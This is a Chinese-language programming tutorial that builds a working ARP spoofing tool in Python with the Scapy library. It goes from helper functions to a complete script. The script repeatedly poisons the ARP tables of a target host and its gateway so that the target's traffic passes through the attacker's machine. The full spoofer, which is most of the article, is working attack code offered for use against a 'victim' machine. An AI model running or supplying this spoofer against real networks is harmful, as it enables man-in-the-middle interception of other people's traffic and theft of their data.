📜  Python – 如何使用 Scapy 创建 ARP Spoofer?

📅  最后修改于: 2022-05-13 01:54:19.250000             🧑  作者: Mango

Python – 如何使用 Scapy 创建 ARP Spoofer?

ARP欺骗是一种恶意攻击,黑客在网络中发送伪造的ARP。连接网络中的每个节点都有一个 ARP 表,通过它我们可以识别连接设备的 IP 地址和 MAC 地址。
什么目的是发送一个 ARP 广播来找到我们想要的需要被欺骗的 IP,然后通过更新他们的 ARP 表来欺骗网关以及目标。这将使目标发送的网络数据包能够从我们的机器传递到网络网关,从而使 ARP 欺骗成功
要设计一个Python脚本来创建一个 ARP 欺骗器,我们需要 Scapy 模块。 Scapy 是一个非常强大的数据包操作工具和库,完全用Python编写
要安装此模块,请打开终端并输入:

pip3 install scapy

下面演示的代码需要Python 3 才能工作。建议将您的Python更新到最新版本。
创建 ARP Spoofer 的步骤:

  1. 获取我们要欺骗的IP地址
  2. 获取我们要欺骗的IP的MAC地址
  3. 然后使用 ARP()函数创建一个欺骗数据包来设置目标 IP、欺骗 IP 和我们在上面找到的 MAC 地址。
  4. 开始欺骗
  5. 显示发送的包数信息
  6. 最后,将被欺骗地址的 ARP 表重新设置为欺骗后的默认值
现在打开你的Python IDE 并导入 scapy,如下所示:
import scapy.all as scapy
import time

现在我们设计一个函数来返回我们想要的 IP 地址的 MAC 地址:

def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc

在此函数get_mac() 中,输入的任何 IP 地址都用于使用 ARP()函数创建 arp_request,我们使用 Ether函数将广播 MAC 地址设置为“ff:ff:ff:ff:ff:ff”
我们现在需要将它们连接到一个数据包中,因此我们使用 / 来完成。
srp()函数返回两个对数据包作出响应和没有响应的 IP 地址列表。具有所请求的匹配 IP 地址的 MAC 地址将存储在hwsrc字段中。我们将此 MAC 地址返回到调用函数的位置。要了解 scapy 提供的字段是什么,您还可以运行以下命令:

print(scapy.ls(scapy.ARP))

您将看到以下可用字段:
Scapy.ls()
现在我们已经创建了一个函数来为我们提供所需的 MAC 地址,我们现在将继续创建函数spoof(),如下所示:

def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, 
                     hwdst = get_mac(target_ip), 
                               psrc = spoof_ip)
  
    scapy.send(packet, verbose = False)

该函数采用两个参数,即目标 IP 和欺骗 IP。我们再次使用 ARP()函数来设计一个修改网关和目标的 ARP 表的数据包,并使用 send()函数开始欺骗。您可以将 verbose 设置为 False,因为 send函数会显示一些我们不需要的默认信息。您可以调整此选项以获得更好的理解。
现在我们调用spoof函数来启动ARP Spoofing:

target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
spoof(target_ip, gateway_ip) 
spoof(gateway_ip, target_ip)

现在,不幸的是,上面的代码只更新了一次 ARP 表。如果我们不不断更新它们,那么默认情况下,目标的 ARP 表会自行更正为默认值。
因此我们修改这段代码:

target_ip = "10.0.2.5"
gateway_ip = "10.0.2.1"
while True:
        spoof(target_ip, gateway_ip)

但是这段代码再次没有显示发送的数据包数量,因此我们再次修改它:

sent_packets_count = 0
while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")

上面的代码现在可以按预期正常函数,但仍有一些不完整的地方。这包括如果我们不给它一个中断来停止这个代码将继续运行的无限循环。
因此上面的代码可以重写:

target_ip = "10.0.2.5"
gateway_ip = "10.0.2.1"
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")

上面的代码将完美运行,并且在收到键盘中断时停止。这段代码几乎是完美的,但我们仍然没有将 ARP 表重新更新为默认值。因此,我们可以创建一个函数来执行此操作,如下所示:

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip, 
                             hwdst = destination_mac, 
                psrc = source_ip, hwsrc = source_mac)
  
    scapy.send(packet, verbose = False)

现在我们终于涵盖了所有内容,ARP Spoofing 的代码应该如下所示:

import scapy.all as scapy
import time
  
def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst ="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout = 5, verbose = False)[0]
    return answered_list[0][1].hwsrc
  
def spoof(target_ip, spoof_ip):
    packet = scapy.ARP(op = 2, pdst = target_ip, hwdst = get_mac(target_ip),
                                                            psrc = spoof_ip)
    scapy.send(packet, verbose = False)
  
  
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)
    scapy.send(packet, verbose = False)
      
  
target_ip = "10.0.2.5" # Enter your target IP
gateway_ip = "10.0.2.1" # Enter your gateway's IP
  
try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[*] Packets Sent "+str(sent_packets_count), end ="")
        time.sleep(2) # Waits for two seconds
  
except KeyboardInterrupt:
    print("\nCtrl + C pressed.............Exiting")
    restore(gateway_ip, target_ip)
    restore(target_ip, gateway_ip)
    print("[+] Arp Spoof Stopped")

现在您已经成功设计了代码,是时候运行并检查它是否工作了:以下是黑客机器的截图:

以下是受害者机器的截图:

在这里我们可以清楚地看到,Victim's Gateway 在 10.0.2.1 的 MAC 地址已经明显第二次发生了变化。因此,我们知道我们的 ARP 欺骗代码正在成功运行。